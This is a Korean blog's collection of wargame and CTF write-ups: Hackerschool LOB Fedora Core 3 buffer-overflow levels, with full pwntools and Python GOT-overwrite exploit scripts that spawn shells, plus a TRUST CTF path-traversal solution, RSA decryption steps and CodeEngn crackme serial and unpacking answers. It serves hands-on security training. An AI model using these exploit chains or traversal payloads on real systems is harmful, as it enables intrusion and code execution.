반응형
반응형
반응형


ID | evil_wizard

PW | get down like that


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.





1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/*
    The Lord of the BOF : The Fellowship of the BOF 
    - dark_stone
    - Remote BOF on Fedora Core 3 
    - hint : GOT overwriting again
    - port : TCP 8888
*/
 
#include <stdio.h>
 
// magic potion for you
void pop_pop_ret(void)
{
    asm("pop %eax");
    asm("pop %eax");
    asm("ret");
}
 
int main()
{
    char buffer[256];
    char saved_sfp[4];
    int length; 
    char temp[1024];
 
    printf("dark_stone : how fresh meat you are!\n");
    printf("you : ");
    fflush(stdout);
 
    // give me a food
    fgets(temp, 1024, stdin);
 
    // for disturbance RET sleding
    length = strlen(temp);
   
    // save sfp 
    memcpy(saved_sfp, buffer+2644);
 
    // overflow!!
    strcpy(buffer, temp);
 
    // restore sfp 
    memcpy(buffer+264, saved_sfp, 4);
 
    // disturbance RET sleding
    memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));
 
    // buffer cleaning 
    memset(0xf6ffe00000xf7000000-0xf6ffe000);
 
    printf("%s\n", buffer);
}
 
cs


이번 문제는 nc [ip] 8888을 통해 ex를 하면 되네요.


이전 문제와 같은 방법으로 풀어보겠습니다.


0x08048620 <main+296>: lea    eax,[ebp-264]

0x08048626 <main+302>: push   eax

0x08048627 <main+303>: push   0x8048745

0x0804862c <main+308>: call   0x8048408 <_init+104>

0x08048631 <main+313>: add    esp,0x10

0x08048634 <main+316>: leave  

0x08048635 <main+317>: ret    

0x08048636 <main+318>: nop    

0x08048637 <main+319>: nop    

End of assembler dump.


printf plt 주소를 구합니다.


더미는 264 + 4 바이트만큼 주면 되겠네요.



0x080485a0 <main+168>: lea    eax,[ebp-1304]

0x080485a6 <main+174>: push   eax

0x080485a7 <main+175>: lea    eax,[ebp-264]

0x080485ad <main+181>: push   eax

0x080485ae <main+182>: call   0x8048438 <_init+152>


strcpy plt 주소를 구합니다.



(gdb) disas pop_pop_ret 

Dump of assembler code for function pop_pop_ret:

0x080484f0 <pop_pop_ret+0>: push   ebp

0x080484f1 <pop_pop_ret+1>: mov    ebp,esp

0x080484f3 <pop_pop_ret+3>: pop    eax

0x080484f4 <pop_pop_ret+4>: pop    eax

0x080484f5 <pop_pop_ret+5>: ret    

0x080484f6 <pop_pop_ret+6>: leave  

0x080484f7 <pop_pop_ret+7>: ret   


ppr 주소 0x080484f3



(gdb) x/i 0x8048408

0x8048408 <_init+104>: jmp    ds:0x804984c


printf got 0x804984c



(gdb) b main

Breakpoint 1 at 0x8048501

(gdb) r

Starting program: /home/evil_wizard/dark_stone 

(no debugging symbols found)...(no debugging symbols found)...

Breakpoint 1, 0x08048501 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x7507c0 <system>


system 주소 0x007507c0


이제 system 주소가 되어줄 조각들을 구해봅시다.



[evil_wizard@Fedora_1stFloor ~]$ objdump -s dark_stone | grep "c0" --color=auto

 8048148 03000000 0e000000 0c000000 05000000  ................

 80481b4 3c000000 68980408 04000000 11001700  <...h...........

 8048338 1069690d 00000200 8c000000 00000000  .ii.............

 8048348 2c980408 060c0000 68980408 05020000  ,.......h.......

 80483a0 5589e583 ec08e8c1 000000e8 14010000  U...............

 80483e8 ff254498 04086810 000000e9 c0ffffff  .%D...h.........


0x80483f4



[evil_wizard@Fedora_1stFloor ~]$ objdump -s dark_stone | grep "07" --color=auto

 8048178 03000000 07000000 08000000 06000000  ................


0x804817c



[evil_wizard@Fedora_1stFloor ~]$ objdump -s dark_stone | grep "75" --color=auto

 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so

 80482b4 75740066 67657473 006d656d 63707900  ut.fgets.memcpy.


0x80482b4



[evil_wizard@Fedora_1stFloor ~]$ objdump -s dark_stone | grep "00" --color=auto

 8048124 2e3200                               .2.             

 8048128 04000000 10000000 01000000 474e5500  ............GNU.

 8048138 00000000 02000000 02000000 05000000  ................


0x8048138




"/bin/sh\x00" 찾기


1
2
3
4
5
6
7
8
9
10
#include "stdio.h"
#include "string.h"
 
int main(void){
 
        long shell = 0x7507c0;  // <=== system()함수의 주소
        while(memcmp((void*)shell,"/bin/sh\x00",8)) shell++;
        printf("\"bin/sh\" is at 0x%lx\n", shell);
}
 
cs


[evil_wizard@Fedora_1stFloor ~]$ vi find_.c

[evil_wizard@Fedora_1stFloor ~]$ gcc -o find_ find_.c 

[evil_wizard@Fedora_1stFloor ~]$ ./find_ 

"bin/sh" is at 0x833603



이렇게 모두 구해서 이전 문제 익스에 사용한 코드를 재사용 하면.


익스가 안된다....



계획변경


바로 got를 덮지 않고, 먼저 bss영역에 덮은 뒤에 다시 그 값을 got를 덮도록 한다.



[evil_wizard@Fedora_1stFloor ~]$ readelf -S dark_stone

There are 28 section headers, starting at offset 0xa68:


Section Headers:

  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al

  [ 0]                   NULL            00000000 000000 000000 00      0   0  0

  [ 1] .interp           PROGBITS        08048114 000114 000013 00   A  0   0  1

  [ 2] .note.ABI-tag     NOTE            08048128 000128 000020 00   A  0   0  4

  [ 3] .hash             HASH            08048148 000148 00004c 04   A  4   0  4

  [ 4] .dynsym           DYNSYM          08048194 000194 0000e0 10   A  5   1  4

  [ 5] .dynstr           STRTAB          08048274 000274 000096 00   A  0   0  1

  [ 6] .gnu.version      VERSYM          0804830a 00030a 00001c 02   A  4   0  2

  [ 7] .gnu.version_r    VERNEED         08048328 000328 000020 00   A  5   1  4

  [ 8] .rel.dyn          REL             08048348 000348 000018 08   A  4   0  4

  [ 9] .rel.plt          REL             08048360 000360 000040 08   A  4  11  4

  [10] .init             PROGBITS        080483a0 0003a0 000017 00  AX  0   0  4

  [11] .plt              PROGBITS        080483b8 0003b8 000090 04  AX  0   0  4

  [12] .text             PROGBITS        08048448 000448 0002ac 00  AX  0   0  4

  [13] .fini             PROGBITS        080486f4 0006f4 00001a 00  AX  0   0  4

  [14] .rodata           PROGBITS        08048710 000710 000039 00   A  0   0  4

  [15] .eh_frame         PROGBITS        0804874c 00074c 000004 00   A  0   0  4

  [16] .ctors            PROGBITS        08049750 000750 000008 00  WA  0   0  4

  [17] .dtors            PROGBITS        08049758 000758 000008 00  WA  0   0  4

  [18] .jcr              PROGBITS        08049760 000760 000004 00  WA  0   0  4

  [19] .dynamic          DYNAMIC         08049764 000764 0000c8 08  WA  5   0  4

  [20] .got              PROGBITS        0804982c 00082c 000004 04  WA  0   0  4

  [21] .got.plt          PROGBITS        08049830 000830 00002c 04  WA  0   0  4

  [22] .data             PROGBITS        0804985c 00085c 00000c 00  WA  0   0  4

  [23] .bss              NOBITS          08049868 000868 00000c 00  WA  0   0  4

  [24] .comment          PROGBITS        00000000 000868 000126 00      0   0  1

  [25] .shstrtab         STRTAB          00000000 00098e 0000d7 00      0   0  1

  [26] .symtab           SYMTAB          00000000 000ec8 0004f0 10     27  44  4

  [27] .strtab           STRTAB          00000000 0013b8 0002d6 00      0   0  1



bss영역 0x08049868


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#fc3 got_overwrite
from pwn import *
 
= remote("192.168.0.0"8888)
 
printf_plt = 0x8048408
printf_got = 0x804984c
strcpy_plt = 0x8048438
ppr = 0x80484f3
 
bss = 0x8049868
 
binsh = 0x833603
 
payload = 'A' * 268
 
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(bss + 0)
payload += p32(0x80483f4)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(bss + 1)
payload += p32(0x804817c)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(bss + 2)
payload += p32(0x80482b4)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(bss + 3)
payload += p32(0x8048138)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got)
payload += p32(bss)
 
payload += p32(printf_plt)
payload += "AAAA"
payload += p32(binsh)
 
print(p.recvuntil("u :"))
print(payload)
p.sendline(payload)
 
p.interactive()
 
cs

mandu@mandu-VirtualBox:~/ex_pwn$ python fc3_hell.py 
[+] Opening connection to 192.168.0.10 on port 8888: Done
dark_stone : how fresh meat you are!
you :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8\x84\x0��h\x98\x0��8\x84\x0��i\x98\x0|\x81\x08\x84\x0��j\x98\x0\xb4\x82\x08\x84\x0��k\x98\x08\x81\x08\x84\x0��L\x98\x0h\x98\x\x84\x0AAAA\x036\x83\x00
[*] Switching to interactive mode
 $ my-pass
euid = 505
let there be light

예에~




반응형
반응형

해커스쿨 LOB FC3 [hell_fire -> evil_wizard] 풀이입니다.


ID | hell_fire

PW | sign me up


으로 로그인합니다.



$ ls -l


를 이용해  어떤 파일과 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합니다.




/*

The Lord of the BOF : The Fellowship of the BOF 

- evil_wizard

- Local BOF on Fedora Core 3 

- hint : GOT overwriting

*/


// magic potion for you

void pop_pop_ret(void)

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main(int argc, char *argv[])

{

char buffer[256];

char saved_sfp[4];

int length; 


if(argc < 2){

printf("argv error\n");

exit(0);

}


// for disturbance RET sleding

length = strlen(argv[1]);

   

        // healing potion for you

        setreuid(geteuid(), geteuid());

        setregid(getegid(), getegid());


// save sfp 

memcpy(saved_sfp, buffer+264, 4);

 

// overflow!!

strcpy(buffer, argv[1]);


// restore sfp 

memcpy(buffer+264, saved_sfp, 4);


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));


printf("%s\n", buffer);

}


got overwriting 이네요.

strcpy함수를 이용해서 printf got에 system함수 주소를 덮어쓰고, printf plt를 호출해 쉘을 띄울 수 있도록 하면 됩니다.


필요한 것들:

리턴주소 위치(buffer와의 거리)
printf .plt
printf .got
strcpy 
system
ppr(pop pop ret)
binsh


0x08048674 <main+288>: call   0x8048474 <_init+168>
0x08048679 <main+293>: add    esp,0x10
0x0804867c <main+296>: sub    esp,0x8
0x0804867f <main+299>: lea    eax,[ebp-264]
0x08048685 <main+305>: push   eax
0x08048686 <main+306>: push   0x8048784
0x0804868b <main+311>: call   0x8048424 <_init+88>
0x08048690 <main+316>: add    esp,0x10
0x08048693 <main+319>: leave  
0x08048694 <main+320>: ret    
0x08048695 <main+321>: nop    
0x08048696 <main+322>: nop    
0x08048697 <main+323>: nop    
End of assembler dump.

main 함수 마지막에 printf("%s\n", buffer); 가 실행되므로 0x8048424가 printf plt주소임을 알 수 있으며, 
<main+299> lea eax,[ebp-264] 을 통해  buffer의 위치를 알 수 있다. 
buffer[256] + dummy[8] +sfp[4] + ret[4]



0x0804861d <main+201>: lea    eax,[ebp-264]
0x08048623 <main+207>: push   eax
0x08048624 <main+208>: call   0x8048494 <_init+200>

위 쪽에서 strcpy함수 주소도 구할 수 있다.




(gdb) x/i 0x8048424

0x8048424 <_init+88>: jmp    ds:0x8049884


printf .got = 0x8049884




(gdb) disas pop_pop_ret 

Dump of assembler code for function pop_pop_ret:

0x0804854c <pop_pop_ret+0>: push   ebp

0x0804854d <pop_pop_ret+1>: mov    ebp,esp

0x0804854f <pop_pop_ret+3>: pop    eax

0x08048550 <pop_pop_ret+4>: pop    eax

0x08048551 <pop_pop_ret+5>: ret    

0x08048552 <pop_pop_ret+6>: leave  

0x08048553 <pop_pop_ret+7>: ret    

End of assembler dump.


ppr = 0x804854f



(gdb) b* main
Breakpoint 1 at 0x8048554
(gdb) r
Starting program: /home/hell_fire/evil_wizard 
(no debugging symbols found)...(no debugging symbols found)...
Breakpoint 1, 0x08048554 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x7507c0 <system>

system 함수 주소 0x007507c0

이 함수 주소가 되어줄 조각들의 주소를 구해주어야 한다.


[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "c0" --color=auto
 8048188 09000000 0a000000 0b000000 0c000000  ................
 80481e8 4c000000 00000000 27000000 12000000  L.......'.......
 80481f8 5c000000 00000000 ea000000 12000000  \...............
 8048208 6c000000 00000000 d9000000 12000000  l...............
 8048258 3c000000 00000000 51000000 12000000  <.......Q.......
 80483b4 98980408 07090000 9c980408 070c0000  ................
 80483cc 5589e583 ec08e8f1 000000e8 44010000  U...........D...
 8048414 ff258098 04086810 000000e9 c0ffffff  .%....h.........

c0 : 0x8048420



[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "07" --color=auto

 8048148 03000000 0f000000 0d000000 07000000  ................


07 : 0x8048154


[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "75" --color=auto
 8048114 2f6c6962 2f6c642d 6c696e75 782e736f  /lib/ld-linux.so
 80482c8 75696400 67657465 67696400 6d656d63  uid.getegid.memc

75 : 0x80482c8


[hell_fire@Fedora_1stFloor ~]$ objdump -s evil_wizard | grep "00" --color=auto
 8048124 2e3200                               .2.             
 8048128 04000000 10000000 01000000 474e5500  ............GNU.
 8048138 00000000 02000000 02000000 05000000  ................

00 : 0x8048138




"/bin/sh\x00" 문자열은 system함수 내부에 존재하므로, 코드를 돌려서 주소를 구해주면 된다.

find_binsh.c

1
2
3
4
5
6
7
8
9
#include "stdio.h"
#include "string.h"
 
int main(void){
 
        long shell = 0x7507c0;  // <=== system()함수의 주소
        while(memcmp((void*)shell,"/bin/sh\x00",8)) shell++;
        printf("\"bin/sh\" is at 0x%lx\n", shell);
}
cs


[hell_fire@Fedora_1stFloor ~]$ vi find_binsh.c

[hell_fire@Fedora_1stFloor ~]$ gcc -o find_binsh find_binsh.c 

[hell_fire@Fedora_1stFloor ~]$ ./find_binsh

"bin/sh" is at 0x833603


다 구해준 것 같다. 

이제 exploit 코드를 짜서 돌려주면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import os
import struct
 
p32 = lambda x: struct.pack("<I", x)
 
target = "/home/hell_fire/evil_wizard"
 
printf_plt = 0x8048424
printf_got = 0x8049884
strcpy_plt = 0x8048494
ppr = 0x804854f
 
binsh = 0x833603
 
payload = 'A' * 268
 
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 0)
payload += p32(0x8048420)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 1)
payload += p32(0x8048154)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 2)
payload += p32(0x80482c8)
 
payload += p32(strcpy_plt)
payload += p32(ppr)
payload += p32(printf_got + 3)
payload += p32(0x8048138)
 
payload += p32(printf_plt)
payload += "AAAA"
payload += p32(binsh)
 
os.execv(target, (target, payload[:-1]))
 
cs


sh-3.00$ my-pass
euid = 504
get down like that
sh-3.00$ 


반응형
반응형

M4ndU


1. Easy Teabo






action_list.txt를 참고하여 예시처럼 출력되도록 코드를 짜서 돌리면 된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
def teabo(a):
    a = a.replace('left_jab''@==(^0^)@')
    a = a.replace('left_mid_jab''@=(^0^)@')
    a = a.replace('right_mid_jab''@(^0^)=@')
    a = a.replace('right_jab''@(^0^)==@')
    a = a.replace('left_hook''@(^0^)@==')
    a = a.replace('right_hook''==@(^0^)@')
    a = a.replace('left_speedball''@@@(^0^)')
    a = a.replace('right_speedball''(^0^)@@@')
    a = a.replace('left_kick''@||(^0^)==@')
    a = a.replace('mid_kick''@==(^||^)==@')
    a = a.replace('right_kick''@==(^0^)||@')
    a = a.replace('mid_jab''@(^0^)@')
    a = a.replace('+ ''')
    a = a.replace(' >>''')
    a = a.replace('\n''')
    print(a)
    return a
 
 
= remote("server.trustctf.com"44923)
p.recvuntil('Taebo 1 : ')
order = p.recvline()
p.sendline(teabo(order))
 
for i in range(099):
    print(p.recvuntil(': '))
    order = p.recvline()
    p.sendline(teabo(order))
 
p.interactive()
 
cs


flag : 1 TRUST{w0w_y0u_9o7_4_w0nd3rfu1_b0dy_lik3_m3}




2. IDENTITY_5



apk파일이 주어진다. zip으로 확장자명을 바꿔주고 classes.dex를 추출해서 dex2jar을 이용해 디컴파일을 했다. 그 다음 gui을 이용해 코드를 봤다.


 

mainactivity에서 링크를 찾을 수 있다. 2번째 플래그 조각, qr코드를 스캔하면 문자열이 나온다.




secondhacking에서 4번째 플래그 조각 qr코드 링크를 찾을 수 있다.







apk파일을 압축을 풀어서 \res\drawable\ 폴더에서 flag.png와 flag5.png을 찾을 수 있다.
각각 1번째 5번째 플래그다.

3번째 플래그는 대회 사이트 문제에서 찾을 수 있다. (처음에 없었다가 출제 미스로 생겨났다. 이거 찾느라 2시간이...)

flag : TRUST{Th1s_1s_fl@g_@ndr0id_@dd_Qrc0d3}



3. Starcraft2




스타크래프트 2 맵파일로 보이는 파일이 주어진다.





배틀넷 런처에서 스타크래프트 2 편집기를 실행하고




편집기로 해당 파일을 열면 플래그를 얻을 수 있다.

 

flag : TRUST{FUN}


 


4. MESS




실행해보면 주어진 문자열의 복호화된 값을 입력해주면 플래그가 나올 것 같음을 알 수 있다.

 



올리디버거로 열어서 참조된 문자열을 확인해보면, 정상적인 문자열이 있다.



 


실행을 하면 이 값이 암호화되어 출력된다.



 


암호화되기 전 문자열을 입력해주면 플래그가 나온다.



Flag : TRUST{bBR\t>UHD?5wQ}




5. Archiver


main.py에서 saveArchive함수를 보면,


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def saveArchive():
    url = request.form['url']
    T = int(time.time())
    
    try:
        res = requests.get(url)
    except:  
        return util.alert("Error!")
    
    if res.status_code != 200:
        return util.alert("code is not 200")
    
    data = unicode(res.text)
    hashed = util.hashing(url)
 
    os.system("mkdir %s/%s" % (app.config['path'], hashed))
    fd = open('%s/%s/%s' % (app.config['path'], hashed, str(T)), 'w')
    fd.write(data)
    fd.close()
 
    return redirect(url_for('main'))
cs


urlT(시간) 값을 받아서 해당 페이지의 내용을 읽어서 아래 경로에 저장해둔다.


/tmp/[random_string]/[url_hashed]/[T]


이때 url은 해시값으로 들어가며, T는 그대로 들어간다.

 

viewArchive 함수를 보면,


1
2
3
4
5
6
7
8
9
def viewArchive():
    url    = request.form['url']
    T      = request.form['T']
    hashed = util.hashing(url)
 
    fd = open('%s/%s/%s' % (app.config['path'], hashed, str(T)), 'r')
    data = unicode(fd.read())
    fd.close()
    return render_template('view.html', data=data)
cs


urlT값을 받아 해당 경로에 있는 파일의 내용을 읽어서 출력해준다. 여기서 T값을 이용해 flag를 읽도록 하면 된다.

 

파일을 하나 저장해두고, burp suite를 이용해 T값을 ../../../flag로 조작해주면

파일 경로가 /tmp/[random_string]/[url_hashed]/../../../flag가 되고 main.py/flag을 읽어오게 된다.

 


flag : TRUST{Easy_Local_file_traversal_N3xt_t1me_i_1l_us3_DB..:(}






번외 - 아쉽게 못 푼 문제.


RSA1




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from time import time
 
def powermod3(a, b, n):
    r = 1
    while b > 0:
        if b & 1 == 1:
            r = r * a % n
        b /= 2
        a = a * a % n
    return r
 
def powermod4(a, b, n):
    if b == 1:
        return a % n
    r = powermod4(a, b / 2, n)
    r = r * r % n
    if (b & 1== 1:
        r = r * a % n
    return r
 
= 1649729212658550722856763813613372
= 1275312736838027047985273062147003
= 1695538043948767252952277333354653
 
starttime = time()
print powermod3(a, b, c)
print time() - starttime
 
starttime = time()
print powermod4(a, b, c)
print time() - starttime
 
cs


(시간함수 빼도 된다.)


나온 값을 두자리씩 끊어서 ascii로 바꿔주면 된다.


복호화값이라길레 그냥 정수값으로 넣어서 인증 못한...





--추가 RSA2


문제 : 

암호화키 e : 34873453193

두 소수의 곱 N : 443961743055319980564015263729

암호문 c : 기록 안해두어서 모릅니다...



N을 소인수분해. https://www.wolframalpha.com/input/?i=factorize+443961743055319980564015263729


rsatool.py 이용해(python rsatool.py -p 657862726787803 -q 674854684689443 -e 34873453193) d를 구해준뒤 rsa1에서 사용한 코드를 이용해 복호화 한 뒤, ascii 돌리면 된다.

반응형
반응형
Basic RCE L11
OEP를 찾으시오. Ex) 00401000 / Stolenbyte 를 찾으시오. 
Ex) FF35CA204000E84D000000 정답인증은 OEP+ Stolenbyte 
Ex ) 00401000FF35CA204000E84D000000 





stolenbyte 12byte와 OEP 00401000를 구할 수 있다. jmp는 0040100c로 하지만 stolenbyte 0xC byte 만큼 붙여주면 oep는 0040100c가 된다.



Basic RCE L12
Key를 구한 후 입력하게 되면 성공메시지를 볼 수 있다 
이때 성공메시지 대신 Key 값이 MessageBox에 출력 되도록 하려면 파일을 HexEdit로 오픈 한 다음 0x???? ~ 0x???? 영역에 Key 값을 overwrite 하면 된다. 
문제 : Key값과 + 주소영역을 찾으시오 
Ex) 7777777???????? 




참조된 문자열을 찾아서 성공 메세지를 출력하는 부분을 찾고 그 위에서 비교문과 분기점에 breakpoint를 걸고 실행했다.


key 값으로 1234를 넣었는데, 넣은 1234와 0x7A2896BF과 비교하는 것을 볼 수 있다.


0x7A2896BF == 2049480383


key 값은 2049480383이 된다.




key값이 MessageBox에 출력되도록 하려면 HxD로 열어서 Cong~~~부분을 찾는다.




성공 메세지 부분을 2049480383(\x00)으로 덮어주면 된다.[0x0D3B~0x0D45]




Basic RCE L13

정답은 무엇인가 



.NET은 DOTPEEK으로!



main을 보면, 암호화된 문자열을 복호화 한 값이랑 사용자 입력값이랑 비교한다.





코드를 추출해서 복호화된 문자열을 출력하도록 했다.







Basic RCE L14
Name이 CodeEngn 일때 Serial을 구하시오 
(이 문제는 정답이 여러개 나올 수 있는 문제이며 5개의 숫자로 되어있는 정답을 찾아야함, bruteforce 필요) 
Ex) 11111 



upx 패킹이 되어 있으므로 언패킹을 진행하고 올리디버거로 열었다.







참조된 문자열중 성공문자열을 찾고, 그 위에 분기점과 비교문에 breakpoint를 걸고 실행했다.





CodeEngn / 11111을 입력했을 때 


11111은 EAX에 들어가서 ESI값 0x129A1과 비교하게 된다



0x129A1의 10진수 값 76193을 입력해주면 성공메세지가 출력된다.




Basic RCE L15
Name이 CodeEngn일때 Serial을 구하시오 



이번에는 패킹이 되어있지 않아서 바로 올리디버거로 열었다.




참조된 문자열에서 성공메세지를 찾고 그 위 비교문에 breakpoint를 걸고 실행했다.





CodeEngn / 12345 로 입력을 했는데 입력한 12345와 24928을 비교한다.





Basic RCE L16
Name이 CodeEngn일때 Serial을 구하시오 


이번에도 패킹은 없다.




참조된 문자열에서 성공메세지를 찾아 그 위 비교문에 breakpoint를 걸고 실행했다.





CodeEngn / 11111 로 입력했더니 11111과 0xE4C60D97과 비교한다.



0xE4C60D97 의 10진수값을 시리얼로 입력해주면 된다.

반응형

'WAR GAME > CodeEngn' 카테고리의 다른 글

CodeEngn [Basic RCE] 1 ~ 10 풀이  (0) 2019.02.09
CodeEngn [Cryptology] 풀이  (8) 2019.02.09
반응형
Basic RCE L01
HDD를 CD-Rom으로 인식시키기 위해서는 GetDriveTypeA의 리턴값이 무엇이 되어야 하는가


검색하면 나온다.






Basic RCE L02
패스워드로 인증하는 실행파일이 손상되어 실행이 안되는 문제가 생겼다. 패스워드가 무엇인지 분석하시오 



실행도 안되고 디버깅 프로그램으로도 열리지 않는다. 그런데 HxD로 보면 패스워드를 확인할 수 있다.





Basic RCE L03
비주얼베이직에서 스트링 비교함수 이름은? 


IDA로 열어서 함수명들을 살펴보면 문자열 비교 함수를 찾을 수 있다. 정답 입력할 때 '_'는 빼고 입력해야 한다.





Basic RCE L04
이 프로그램은 디버거 프로그램을 탐지하는 기능을 갖고 있다. 디버거를 탐지하는 함수의 이름은 무엇인가 


IDA로 열어서 main_0함수 디컴파일 하면 해당 함수의 이름을 알 수 있다.




Basic RCE L05
이 프로그램의 등록키는 무엇인가



패킹이 되어 있다.




언패킹을 해주고, 


올리디버거로 열어서 참조된 문자열 리스트에서 하단으로 내려보면 키를 확인할 수 있다.




Basic RCE L06
Unpack을 한 후 Serial을 찾으시오. 
정답인증은 OEP + Serial 
Ex) 00400000PASSWORD 



5번문제와 같이 언패킹을 해준뒤 올리디버거로 연다.


프로그램이 시작되는 주소가 OEP가 되며, serial은 참조된 문자열 확인을 통해 알 수 있다.




Basic RCE L07
컴퓨터 C 드라이브의 이름이 CodeEngn 일경우 시리얼이 생성될때 CodeEngn은 'ß어떤것'으로 변경되는가 


시리얼 입력을 aaaa로 하고 C 드라이브의 이름은 Acer로 되어 있는 상태에서 올리디 버거를 돌려봤다.


"Acer" + "4562-ABEX"


가 되고 Acer부분이 연산루틴을 돈 뒤에(앞 4자리만 연산한다.)

문자열 앞에 "L2C-5781"이 붙어 시리얼이 완성된다.




비교를 하는 0x4010F7에 breakpoint를 걸고 C드라이브의 이름을 CodeEngn으로 바꾼뒤에 실행해서,

생성되는 시리얼을 확인하면 된다.


이때 CodeEngn이 바뀐 부분만 정답으로 제출하면 된다.




Basic RCE L08
OEP를 구하시오 Ex) 00400000 



역시 upx 패킹이 되어 있다.

언패킹을 하고 올리디버거로 열면 oep를 구할 수 있다.




Basic RCE L09
StolenByte를 구하시오 Ex) 75156A0068352040


stolenbyte로 인해서 언패킹이 정상적으로 이루어지지 않는다. 그대로 올리디 버거로 올린 뒤에 수동 언패킹을 하듯 jmp문을 찾아준다.




그럼 그 윗부분에 stolenbyte를 찾을 수 있다. 해당 opcode를 정답으로 제출하면 된다.




Basic RCE L10
OEP를 구한 후 '등록성공' 으로 가는 분기점의 OPCODE를 구하시오. 
정답인증은 OEP + OPCODE 
EX) 00400000EB03 




이번에는 upx가 아닌 aspack으로 패킹이 되어있음을 확인할 수 있다.


언패킹 하는 방법은 디버깅 툴로 retn 0c 를 찾아서 그 다음 두 명령어에 breakpoint를 걸어 실행하면 

push 0 가 oep값으로 바뀌어서 retn을 통해 oep로 이동하는 것이다.



breakpoint를 걸어주고




실행하면 push 0 가 push 00445834로 바뀐다. oep주소다.




참조된 문자열을 찾아서 등록완료를 출력하는 부분을 찾으면 그 윗부분에서 분기점의 opcode를 찾을 수 있다.

반응형

'WAR GAME > CodeEngn' 카테고리의 다른 글

CodeEngn [Basic RCE] 11 ~ 16 풀이  (0) 2019.02.10
CodeEngn [Cryptology] 풀이  (8) 2019.02.09
반응형
Crypto Analysis L01
eqbpntwemza 
원래의 문자열로 변환 후 인증하시오 


카이사르 암호 복호화 문제




Crypto Analysis L02
프로그래머의 고수가 제자에게 암호테이블과 문자열을 남기고 세상을 떠났다. 
그런데 암호테이블은 손상이 되었는데... 
손상된 암호테이블 : g i a x ? ? d b k l n q w m f ? c p ? ? z u y j ? v 
암호 문자열 : yefpsqfgt 
원래의 문자열로 변환 후 인증하시오 


abcde  fghij   klmno   pqrst   uvwxy   z

giax?  ?dbkl   nqwmf   ?cp??   zuyj?   v


이렇게 일치


위 테이블에 맞춰 암호 문자열을 복호화 하면 12345c3d6 (중복이 있어서 ?대신 정수로 표현)


?에 들어갈 수 있는 남은 알파벳은 e h o r s t


파워게싱을 통해 c3d6이 code인 것을 알아채면 12o45code가 되고 남은 자리에 들어갈 수 있는 알파벳은 h r s t 가 되며,


다시 게싱을 통해 맞추면 된다.





반응형

'WAR GAME > CodeEngn' 카테고리의 다른 글

CodeEngn [Basic RCE] 11 ~ 16 풀이  (0) 2019.02.10
CodeEngn [Basic RCE] 1 ~ 10 풀이  (0) 2019.02.09
반응형

NeverLAN CTF 2019 


write up by M4ndU





Trivia


SQL Trivia 1

20

The oldest SQL Injection Vulnerability. The flag is the vulnerability ID.


flag : CVE-2000-1233




SQL Trivia 2

20

In MSSQL Injection Whats the query to see what version it is?


flag : SELECT @@version




Sea Quail

20

A domain-specific language used in programming and designed for managing data held in a relational database management system, or for stream processing in a relational data stream management system.


flag : SQL




64 Characters

20

A group of similar binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation.


flag : base64




With Some Milk

20

A small piece of data sent from a website and stored on the user's computer by the user's web browser while the user is browsing.


flag : cookie



Beep Boop

20

A standard used by websites to communicate with web crawlers and other web robots. The standard specifies how to inform the web robot about which areas of the website should not be processed or scanned


flag : robots.txt




Recon


Unexpected intruder

50

occurring in Chicago, Illinois, United States, on the evening of November 22. There was an interruption like nothing we had ever seen before.

What was the name of the Intruder?


flag : maxheadroom




Crypto


Alphabet Soup

125

MKXU IDKMI DM BDASKMI NLU XCPJNDICFQ! K VDMGUC KW PDT GKG NLKB HP LFMG DC TBUG PDTC CUBDTCXUB. K'Q BTCU MDV PDT VFMN F WAFI BD LUCU KN KB WAFI GDKMINLKBHPLFMGKBQDCUWTMNLFMFMDMAKMUNDDA



